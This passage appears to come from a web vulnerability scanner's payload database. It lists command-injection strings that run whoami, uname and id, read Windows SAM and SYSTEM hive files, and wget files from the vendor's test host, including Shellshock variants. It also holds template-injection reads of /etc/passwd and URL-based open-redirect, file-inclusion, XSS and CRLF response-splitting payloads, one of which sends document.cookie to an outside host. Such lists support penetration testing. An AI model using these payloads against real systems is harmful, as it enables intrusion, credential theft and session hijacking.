XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
342 | systeminfo
343 | | systeminfo
344 | ; systeminfo
345 | & systeminfo
346 | && systeminfo
347 | system('ls')
348 | system('pwd')
349 | system('pwd');
350 | || system('sleep 5');
351 | | system('sleep 5');
352 | ; system('sleep 5');
353 | & system('sleep 5');
354 | && system('sleep 5');
355 | system('sleep 5')
356 | system('sleep 5');
357 | system('wget https://crowdshield.com/.testing/rce_vuln.txt?req=22fd2w23')
358 | system('wget https://xerosecurity.com/.testing/rce_vuln.txt');
359 | system('whoami')
360 | system('whoami');
361 | test*; ls -lhtR /var/www/
362 | test* || perl -e 'print "X"x16096'
363 | test* | perl -e 'print "X"x16096'
364 | test* & perl -e 'print "X"x16096'
365 | test* && perl -e 'print "X"x16096'
366 | test*; perl -e 'print "X"x16096'
367 | $(`type C:\boot.ini`)
368 | &&type C:\\boot.ini
369 | | type C:\Windows\repair\SAM
370 | ; type C:\Windows\repair\SAM
371 | & type C:\Windows\repair\SAM
372 | && type C:\Windows\repair\SAM
373 | type C:\Windows\repair\SAM
374 | | type C:\Windows\repair\SYSTEM
375 | ; type C:\Windows\repair\SYSTEM
376 | & type C:\Windows\repair\SYSTEM
377 | && type C:\Windows\repair\SYSTEM
378 | type C:\Windows\repair\SYSTEM
379 | | type C:\WINNT\repair\SAM
380 | ; type C:\WINNT\repair\SAM
381 | & type C:\WINNT\repair\SAM
382 | && type C:\WINNT\repair\SAM
383 | type C:\WINNT\repair\SAM
384 | type C:\WINNT\repair\SYSTEM
385 | | type %SYSTEMROOT%\repair\SAM
386 | ; type %SYSTEMROOT%\repair\SAM
387 | & type %SYSTEMROOT%\repair\SAM
388 | && type %SYSTEMROOT%\repair\SAM
389 | type %SYSTEMROOT%\repair\SAM
390 | | type %SYSTEMROOT%\repair\SYSTEM
391 | ; type %SYSTEMROOT%\repair\SYSTEM
392 | & type %SYSTEMROOT%\repair\SYSTEM
393 | && type %SYSTEMROOT%\repair\SYSTEM
394 | type %SYSTEMROOT%\repair\SYSTEM
395 | uname
396 | ;uname;
397 | | uname -a
398 | ; uname -a
399 | & uname -a
400 | && uname -a
401 | uname -a
402 | |/usr/bin/id
403 | ;|/usr/bin/id|
404 | ;/usr/bin/id|
405 | $;/usr/bin/id
406 | () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://135.23.158.130/.testing/shellshock.txt?vuln=13;curl http://135.23.158.130/.testing/shellshock.txt?vuln=15;\");'
407 | () { :;}; wget http://135.23.158.130/.testing/shellshock.txt?vuln=11
408 | | wget http://crowdshield.com/.testing/rce.txt
409 | & wget http://crowdshield.com/.testing/rce.txt
410 | ; wget https://crowdshield.com/.testing/rce_vuln.txt
411 | $(`wget https://crowdshield.com/.testing/rce_vuln.txt`)
412 | && wget https://crowdshield.com/.testing/rce_vuln.txt
413 | wget https://crowdshield.com/.testing/rce_vuln.txt
414 | $(`wget https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)
415 | which curl
416 | which gcc
417 | which nc
418 | which netcat
419 | which perl
420 | which python
421 | which wget
422 | whoami
423 | | whoami
424 | ; whoami
425 | ' whoami
426 | ' || whoami
427 | ' & whoami
428 | ' && whoami
429 | '; whoami
430 | " whoami
431 | " || whoami
432 | " | whoami
433 | " & whoami
434 | " && whoami
435 | "; whoami
436 | $(`whoami`)
437 | & whoami
438 | && whoami
439 | {{ get_user_file("C:\boot.ini") }}
440 | {{ get_user_file("/etc/hosts") }}
441 | {{ get_user_file("/etc/passwd") }}
442 | {{4+4}}
443 | {{4+8}}
444 | {{person.secret}}
445 | {{person.name}}
446 | {1} + {1}
447 | {% For c in [1,2,3]%} {{c, c, c}} {% endfor%}
448 | {{[] .__ Class __.__ base __.__ subclasses __ ()}}
449 | 


--------------------------------------------------------------------------------
/database/url_payloads.txt:
--------------------------------------------------------------------------------
  1 | http://xerosecurity.com
  2 | .xerosecurity.com
  3 | .crowdshield.com
  4 | //xerosecurity.com
  5 | \\xerosecurity.com
  6 | \/xerosecurity.com
  7 | \/\/xerosecurity.com
  8 | /\xerosecurity.com
  9 | /\/\xerosecurity.com
 10 | |/xerosecurity.com
 11 | /%09/xerosecurity.com
 12 | /xerosecurity.com
 13 | javascript:document.location=http://xerosecurity.com
 14 | %2Fwww%252egoogle%252ecom
 15 | %2Fwww%252egoogle%252ecom%252f
 16 | %2Fwww%2egoogle%2ecom
 17 | %ff%2Fwww%252egoogle%252ecom
 18 | %ff%2Fwww%252egoogle%252ecom%252f
 19 | //www.xerosecurity.com/%2E%2E
 20 | /www.xerosecurity.com/%2E%2E
 21 | /%2fwww.xerosecurity.com/%2e%2e/
 22 | //////www.xerosecurity.com/%2e%2e/
 23 | //www.xerosecurity.com/
 24 | \/www.xerosecurity.com/
 25 | \/www.xerosecurity.com/
 26 | \/www.xerosecurity.com/%2e%2e/
 27 | /\www.xerosecurity.com/%2e%2e/
 28 | /%2fwww.xerosecurity.com/%2e%2e
 29 | /%2fwww.xerosecurity.com/%2e%2e/
 30 | https://www.xerosecurity.com/
 31 | %0a.xerosecurity.com/
 32 | www.xerosecurity.com/
 33 | %0d.xerosecurity.com%2f
 34 | %0d%2exerosecurity.com%2f
 35 | %0a%2exerosecurity.com%2f
 36 | %2e%5fxerosecurity.com%2e%5f
 37 | %2fwww.xerosecurity.com/%2e%2e
 38 | %2fwww.xerosecurity.com%2f%2e%2e
 39 | %2Fwww%252egoogle%252ecom
 40 | %2Fwww%252egoogle%252ecom%252f
 41 | %2Fwww%2egoogle%2ecom
 42 | %ff%2Fwww%252egoogle%252ecom
 43 | %ff%2Fwww%252egoogle%252ecom%252f
 44 | //www.xerosecurity.com/%2E%2E
 45 | /www.xerosecurity.com/%2E%2E
 46 | /%2fwww.xerosecurity.com/%2e%2e/
 47 | //////www.xerosecurity.com/%2e%2e/
 48 | //www.xerosecurity.com/
 49 | \/www.xerosecurity.com/
 50 | \/www.xerosecurity.com/
 51 | \/www.xerosecurity.com/%2e%2e/
 52 | /\www.xerosecurity.com/%2e%2e/
 53 | /%2fwww.xerosecurity.com/%2e%2e
 54 | /%2fwww.xerosecurity.com/%2e%2e/
 55 | https://www.xerosecurity.com/
 56 | %0a.xerosecurity.com/
 57 | www.xerosecurity.com/
 58 | %0d.xerosecurity.com%2f
 59 | %0d%2exerosecurity.com%2f
 60 | %0a%2exerosecurity.com%2f
 61 | %2e%5fxerosecurity.com%2e%5f
 62 | %2fwww.xerosecurity.com/%2e%2e
 63 | %2fwww.xerosecurity.com%2f%2e%2e
 64 | '+alert(INJECTX)+'/%2E%2E
 65 | "><img/src='x'onerror=alert(INJECTX)>/%2E%2E/%2E%2E/
 66 | %2Fx%2F%3cimg%2Fonerror='alert(INJECTX)'src=x%3e%2f.%2e%2f.%2e%2f%3f
 67 | /x/<img/onerror='alert(INJECTX)'src=x>/../../
 68 | INJECTX'"<>/%2e%2e
 69 | INJECTX'"<>/%2e%2e/
 70 | INJECTX'"<>
 71 | INJECTX%27%22%3c%3e%2e%2e
 72 | INJECTX%27%22%3c%3e%2e%2e/
 73 | INJECTX/%2e%2e
 74 | INJECTX/%2e%2e/
 75 | %2e%2e/INJECTX/
 76 | %2e%2e/INJECTX
 77 | http://xerosecurity.com/.testing/redirect_vuln.txt
 78 | http://xerosecurity.com/.testing/redirect_vuln.txt%00
 79 | http://xerosecurity.com/.testing/rfi_vuln.txt
 80 | http://xerosecurity.com/.testing/rfi_vuln.txt%00
 81 | http://xerosecurity.com/.testing/rfi_vuln.php
 82 | http://xerosecurity.com/.testing/rfi_vuln.php%00
 83 | http://xerosecurity.com/.testing/xss_vuln.php
 84 | http://xerosecurity.com/.testing/xss_vuln.php%00
 85 | http://xerosecurity.com/.testing/xss_vuln.html
 86 | http://xerosecurity.com/.testing/xss_vuln.html%00
 87 | http://xerosecurity.com/.testing/xss.html
 88 | http://xerosecurity.com/.testing/xss.html%00
 89 | http://xerosecurity.com/.testing/iframe_injection.php
 90 | //xerosecurity.com
 91 | \/xerosecurity.com
 92 | |/xerosecurity.com
 93 | /%09/xerosecurity.com
 94 | /xerosecurity.com
 95 | crowdshield.com
 96 | xerosecurity.com
 97 | javascript:alert(1)//INJECTX
 98 | javascript:document.location=http://xerosecurity.com
 99 | php://input
100 | data://text/plain;base64,SmJhdHk4Y1dIbFJhemh6Q3lqQTw%2FcGhwIGVjaG8gJ1Z1bG5lcmFibGUnOyA%2FPkpiYXR5OGNXSGxSYXpoekN5akE=
101 | php://input;base64,SmJhdHk4Y1dIbFJhemh6Q3lqQTw%2FcGhwIGVjaG8gJ1Z1bG5lcmFibGUnOyA%2FPkpiYXR5OGNXSGxSYXpoekN5akE=
102 | https://crowdshield.com/.testing/rfi_vuln.php
103 | https://crowdshield.com/.testing/rfi_vuln.php%00
104 | //xerosecurity.com/.testing/rfi_vuln.php
105 | //xerosecurity.com/.testing/rfi_vuln.php%00
106 | http://xerosecurity.com/.testing/rfi_vuln.php
107 | http://xerosecurity.com/.testing/rfi_vuln.php%00
108 | %0a
109 | %0a
110 | %0a%20
111 | %0a%20
112 | %0aSet-Cookie%3AINJECT%3DINJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%3B%0aLocation%3Ahttp%3A%2F%2Fxerosecurity.com%2F.testing%2Fiframe_injection.php%0a%0a
113 | %0d%0aSet-Cookie%3AINJECT%3DINJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%3B%0d%0aLocation%3Ahttp%3A%2F%2Fxerosecurity.com%2F.testing%2Fiframe_injection.php%0d%0a%0d%0a
114 | %0d%0aSet-Cookie: INJECTX=INJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX;
115 | %0aSet-Cookie: INJECTX=INJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX;
116 | %0aContent-Length%3A%200%0a%0aHTTP%2F1.1%20200%20OK%0aContent-Type%3A%20text%2Fhtml%0aLast-Modified%3A%20Fri%2C%2030%20Apr%202099%2011%3A11%3A18%20GMT%0aContent-Length%3A%2048%0a%3Chtml%3E%3Cscript%3Edocument.cookie()%3B%3C%2Fscript%3E%3C%2Fhtml%3E
117 | %0aContent-Length%3A%200%0a%0aHTTP%2F1.1%20200%20OK%0aContent-Type%3A%20text%2Fhtml%0aLocation%3A%20http%3A%2F%2Fcrowdshield.com%0aContent-Length%3A%20122%0a%3Chtml%3E%3CBODY%20ONLOAD%3Dalert('XSS')%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E%3CIFRAME%20SRC%3D%22javascript%3Aalert('XSS')%3B%22%3E%3C%2FIFRAME%3E%3C%2Fbody%3E%3C%2Fhtml%3E
118 | %0aContent-Length%3A%200%0a%0aHTTP%2F1.1%20200%20OK%0aDate%3A%20Fri%2C%2006%20Mar%202016%2000%3A07%3A47%20GMT%0aContent-Type%3A%20text%2Fhtml%3Bcharset%3DISO-8859-1%0aContent-Length%3A%2040%0a%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E
119 | %0aContent-Length%3A%200%0a%0aHTTP%2F1.1%20200%20OK%0aDate%3A%20Fri%2C%2006%20Mar%202016%2000%3A07%3A47%20GMT%0aContent-Type%3A%20text%2Fhtml%3Bcharset%3DUTF-8%0aContent-Length%3A%2052%0a%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E%3C%2Fbody%3E%3C%2Fhtml%3E
120 | %0aContent-Length%3A%200%0a%0aHTTP%2F1.1%20200%20OK%0aDate%3A%20Fri%2C%2006%20Mar%202016%2000%3A07%3A47%20GMT%0aContent-Type%3A%20text%2Fhtml%3Bcharset%3DUTF-8%0aContent-Length%3A%20769%0a%3Chtml%3E%3Cbody%3E%3Cscript%20src%3D%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fxss.js%3Fscript_src%3D1%22%3E%3C%2Fscript%3E%0a%3Cimg%20src%3D%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fxss.jpg%3Fimg_src%3D1%22%3E%3C%2Fimg%3E%0a%3Ciframe%20src%3D%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fiframe_injection.php%3Fiframe_src%3D1%22%20height%3D%220%22%20width%3D%220%22%3E%3C%2Fiframe%3E%0a%3Ciframe%20src%3D%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fiframe_injection.php%3Fiframe_src%3D1%22%20height%3D%22100%25%22%20width%3D%22100%25%22%3E%3C%2Fiframe%3E%0a%3Cimg%20src%3D%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fxss.jpg%3Fimg_src_onerror_prompt%22%20onerror%3Dprompt(%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fxss.js%22)%3B%3E%0a%3Cimg%20src%3D%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fxss.jpg%3Fimg_src_onerror_prompt%22%20onerror%3Dwindow.location(%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fxss.html%22)%3B%3E%0a%3Cscript%3Elocation.href%3D'http%3A%2F%2Fxerosecurity.com%2F.testing%2Fiframe_injection.php%3F'%2Bdocument.cookie%3B%3C%2Fscript%3E%3C%2Fbody%3E%3C%2Fhtml%3E
121 | %0aContent-Length%3A%200%0a%0aHTTP%2F1.1%20200%20OK%0aDate%3A%20Fri%2C%2006%20Mar%202016%2000%3A07%3A47%20GMT%0aLast-Modified%3A%20Fri%2C%2006%20Mar%202017%2000%3A07%3A47%20GMT%0aContent-Type%3A%20text%2Fhtml%3Bcharset%3DISO-8859-1%0aContent-Length%3A%2040%0a%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E
122 | //crowdshield.com%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%20222%0d%0a<script>alert%28%27INJECTX%27%29<%2fscript>%0d%0a%0d%0a
123 | %0d%0d%0d%0d%0d%0d%0d%0d%0d%0d%0d%0dINJECTX%0d%0d%0d%0d%0d%0d%0d%0d%0d%0d%0d%0d%0d%0d
124 | %0a%0a%0a%0a%0a%0a%%0a%0a%0a%0a%0a%0aINJECTX%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a
125 | %0a
126 | %0d
127 | %0d%0a
128 | %0d%0a
129 | %0d%0a
130 | %0d%0a%20
131 | %0d%0a%20
132 | %0d%0a%20
133 | https://crowdshield.com/%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Set-Coookie%3AINJECTX%3DINJECTX
134 | %0d%0aContent-Length:%200%0d%0d%0a%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0d%0a%0a<html>Hacked</html>
135 | %0d%0aContent-Length%3A%200%0d%0d%0a%0aHTTP%2F1.1%20200%20OK%0d%0aContent-Type%3A%20text%2Fhtml%0d%0aLast-Modified%3A%20Fri%2C%2030%20Apr%202099%2011%3A11%3A18%20GMT%0d%0aContent-Length%3A%2048%0d%0a%3Chtml%3E%3Cscript%3Edocument.cookie()%3B%3C%2Fscript%3E%3C%2Fhtml%3E
136 | %0d%0aContent-Length%3A%200%0d%0d%0a%0aHTTP%2F1.1%20200%20OK%0d%0aDate%3A%20Fri%2C%2006%20Mar%202016%2000%3A07%3A47%20GMT%0d%0aContent-Type%3A%20text%2Fhtml%3Bcharset%3DISO-8859-1%0d%0aContent-Length%3A%2040%0d%0a%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E
137 | %0d%0aContent-Length%3A%200%0d%0d%0a%0aHTTP%2F1.1%20200%20OK%0d%0aDate%3A%20Fri%2C%2006%20Mar%202016%2000%3A07%3A47%20GMT%0d%0aContent-Type%3A%20text%2Fhtml%3Bcharset%3DUTF-8%0d%0aContent-Length%3A%2052%0d%0a%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E%3C%2Fbody%3E%3C%2Fhtml%3E
138 | %0d%0aContent-Length%3A%200%0d%0d%0a%0aHTTP%2F1.1%20200%20OK%0d%0aDate%3A%20Fri%2C%2006%20Mar%202016%2000%3A07%3A47%20GMT%0d%0aContent-Type%3A%20text%2Fhtml%3Bcharset%3DUTF-8%0d%0aContent-Length%3A%20769%0d%0a%3Chtml%3E%3Cbody%3E%3Cscript%20src%3D%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fxss.js%3Fscript_src%3D1%22%3E%3C%2Fscript%3E%0d%0a%3Cimg%20src%3D%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fxss.jpg%3Fimg_src%3D1%22%3E%3C%2Fimg%3E%0d%0a%3Ciframe%20src%3D%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fiframe_injection.php%3Fiframe_src%3D1%22%20height%3D%220%22%20width%3D%220%22%3E%3C%2Fiframe%3E%0d%0a%3Ciframe%20src%3D%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fiframe_injection.php%3Fiframe_src%3D1%22%20height%3D%22100%25%22%20width%3D%22100%25%22%3E%3C%2Fiframe%3E%0d%0a%3Cimg%20src%3D%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fxss.jpg%3Fimg_src_onerror_prompt%22%20onerror%3Dprompt(%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fxss.js%22)%3B%3E%0d%0a%3Cimg%20src%3D%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fxss.jpg%3Fimg_src_onerror_prompt%22%20onerror%3Dwindow.location(%22http%3A%2F%2Fxerosecurity.com%2F.testing%2Fxss.html%22)%3B%3E%0d%0a%3Cscript%3Elocation.href%3D'http%3A%2F%2Fxerosecurity.com%2F.testing%2Fiframe_injection.php%3F'%2Bdocument.cookie%3B%3C%2Fscript%3E%3C%2Fbody%3E%3C%2Fhtml%3E
139 | %0d%0aReferer:%20https://crowdshield.com/INJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
140 | %0d%20
141 | %0d%20
142 | %0dContent-Length:%200%0d%0dHTTP/1.1%20200%20OK%0dContent-Type:%20text/html%0dContent-Length:%2019%0d%0d<html>Hacked</html>
143 | 200%20OK%0aCookie%3A%20%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E%0aContent-Type%3A%20text%2Fhtml%0a%0a%3Chtml%3E%0a%3Cscript%3Ealert(2)%3B%3C%2Fscript%3E%0a%3C%2Fhtml%3E%3C!--%0a%0a
144 | 200%20OK%0d%0aCookie%3A%20%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E%0d%0aContent-Type%3A%20text%2Fhtml%0d%0d%0a%0a%3Chtml%3E%0d%0a%3Cscript%3Ealert(2)%3B%3C%2Fscript%3E%0d%0a%3C%2Fhtml%3E%3C!--%0d%0d%0a%0a
145 | %0aSet-Cookie:%20INJECTX=INJECTX;%0a
146 | %20%0a
147 | %20%0a
148 | %20%0a%20
149 | %20%0d
150 | %20%0d
151 | %20%0d%0a
152 | %20%0d%0a
153 | %20%0d%0a
154 | %20%0d%0a%20
155 | %20%0d%0a%20
156 | %20%0d%0a%20
157 | %20%0d%20
158 | %20%0d%20
159 | %20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Set-Cookie%3AINJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
160 | %20%250a
161 | %20%250a%250d
162 | %250a
163 | %250a%20
164 | %250a%250d
165 | %250a%250d%20
166 | %25%30%41%a
167 | %25%30%44%25%30%41%a
168 | %25%30%44%a
169 | %25%30%61%a
170 | %25%30%64%a
171 | %25%32%30%25%30%64%25%30%61%a
172 | %2F%2crowdshield.com%0aContent-Type%3Atext%2Fhtml%0aContent-Length%0a222%0a%3Cscript%3Ealert('XSSPOSED')%3C%2Fscript%22%3E
173 | %2F%2Fcrowdshield.com%0d%0aContent-Type%3Atext%2Fhtml%0d%0aContent-Length%0d%0a222%0d%0a%3Cscript%3Ealert('XSSPOSED')%3C%2Fscript%22%3E
174 | %5c%72%5c%6e
175 | %5C%72%5C%6E
176 | %5cr%5cn
177 | %5CR%5CN
178 | INJECTX%0dXTest%3AINJECTX
179 | INJECTX%250aXTest%3AINJECTX
180 | %e5%98%8a
181 | %e5%98%8A
182 | %E5%98%8a
183 | %E5%98%8A
184 | en%0aContent-Length%3A%200%0a%0aHTTP%2F1.1%20200%20OK%0aContent-Type%3A%20text%2Fhtml%0aContent-Length%3A%2048%0a%3Chtml%3E%3Cscript%3Edocument.cookie()%3B%3C%2Fscript%3E%3C%2Fhtml%3E
185 | en%0aContent-Length%3A%200%0a%0aHTTP%2F1.1%20200%20OK%0aContent-Type%3A%20text%2Fhtml%0aLast-Modified%3A%20Fri%2C%2030%20Apr%202099%2011%3A11%3A18%20GMT%0aContent-Length%3A%2048%0a%3Chtml%3E%3Cscript%3Edocument.cookie()%3B%3C%2Fscript%3E%3C%2Fhtml%3E
186 | en%0aContent-Length%3A%200%0a%0aHTTP%2F1.1%20200%20OK%0aContent-Type%3A%20text%2Fhtml%0aLocation%3A%20http%3A%2F%2Fcrowdshield.com%0aContent-Length%3A%20122%0a%3Chtml%3E%3CBODY%20ONLOAD%3Dalert('XSS')%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E%3CIFRAME%20SRC%3D%22javascript%3Aalert('XSS')%3B%22%3E%3C%2FIFRAME%3E%3C%2Fbody%3E%3C%2Fhtml%3E
187 | en%0aContent-Length%3A%200%0a%0aHTTP%2F1.1%20200%20OK%0aDate%3A%20Fri%2C%2006%20Mar%202016%2000%3A07%3A47%20GMT%0aContent-Type%3A%20text%2Fhtml%3Bcharset%3DISO-8859-1%0aContent-Length%3A%2040%0a%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E
188 | en%0aContent-Length%3A%200%0a%0aHTTP%2F1.1%20200%20OK%0aDate%3A%20Fri%2C%2006%20Mar%202016%2000%3A07%3A47%20GMT%0aLast-Modified%3A%20Fri%2C%2006%20Mar%202017%2000%3A07%3A47%20GMT%0aContent-Type%3A%20text%2Fhtml%3Bcharset%3DISO-8859-1%0aContent-Length%3A%2040%0a%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E
189 | en%0d%0aContent-Length%3A%200%0d%0d%0a%0aHTTP%2F1.1%20200%20OK%0d%0aDate%3A%20Fri%2C%2006%20Mar%202016%2000%3A07%3A47%20GMT%0d%0aContent-Type%3A%20text%2Fhtml%3Bcharset%3DISO-8859-1%0d%0aContent-Length%3A%2040%0d%0a%3Chtml%3E%3Cbody%3E%3Cscript%3Ealert(1)%3B%3C%2Fscript%3E
190 | en%250AContent-Length%253A%25200%250A%250AHTTP%252F1.1%2520200%2520OK%250AContent-Type%253A%2520text%252Fhtml%250AContent-Length%253A%252048%250A%253Chtml%253E%253Cscript%253Edocument.cookie%28%29%253B%253C%252Fscript%253E%253C%252Fhtml%253E
191 | foobar%0d%0aCONTENT-LENGTH:%200%0d%0d%0a%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aCONTENT-LENGTH:%2025%0d%0d%0a%0a<html>Hacked</html>
192 | foobar%0dCONTENT-LENGTH:%200%0d%0dHTTP/1.1%20200%20OK%0dContent-Type:%20text/html%0dCONTENT-LENGTH:%2025%0d%0d<html>Hacked</html>
193 | foobar%20%0d%0aContent-Length%3A%200%20%0d%0aHTTP%2F1.1%20200%20OK%20%0d%0aContent-Type%3A%20text%2Fhtml%20%0d%0aLast-Modified%3A%20Mon%2C%2027%20Oct%202016%2014%3A50%3A18%20GMT%20%0d%0aContent-Length%3A%2045%20%0d%0aHacked%0d%0a
194 | foobar%20%0dContent-Length%3A%200%20%0dHTTP%2F1.1%20200%20OK%20%0dContent-Type%3A%20text%2Fhtml%20%0dLast-Modified%3A%20Mon%2C%2027%20Oct%202016%2014%3A50%3A18%20GMT%20%0dContent-Length%3A%2045%20%0dHacked%0d
195 | ###General Vectors###
196 | HTTP/1.1+200+OK%0aContent-Type:+text/html%0aContent-Length:+132%0aContent-Encoding:+deflate%0a%0aD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEt33sGDttwGDDDGG03sDGGwGGtDtt33333sG03333sDDdFPcOKwGWoSsgkwoemUcMOKwGWoS4
197 | HTTP/1.1+200+OK%0d%0aContent-Type:+text/html%0d%0aContent-Length:+132%0d%0aContent-Encoding:+deflate%0d%0d%0a%0aD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwCiudIbEAtwwwEt33sGDttwGDDDGG03sDGGwGGtDtt33333sG03333sDDdFPcOKwGWoSsgkwoemUcMOKwGWoS4
198 | \nINJECTX
199 | \nINJECTX\n\n
200 | \n\nINJECTX
201 | \n\rINJECTX
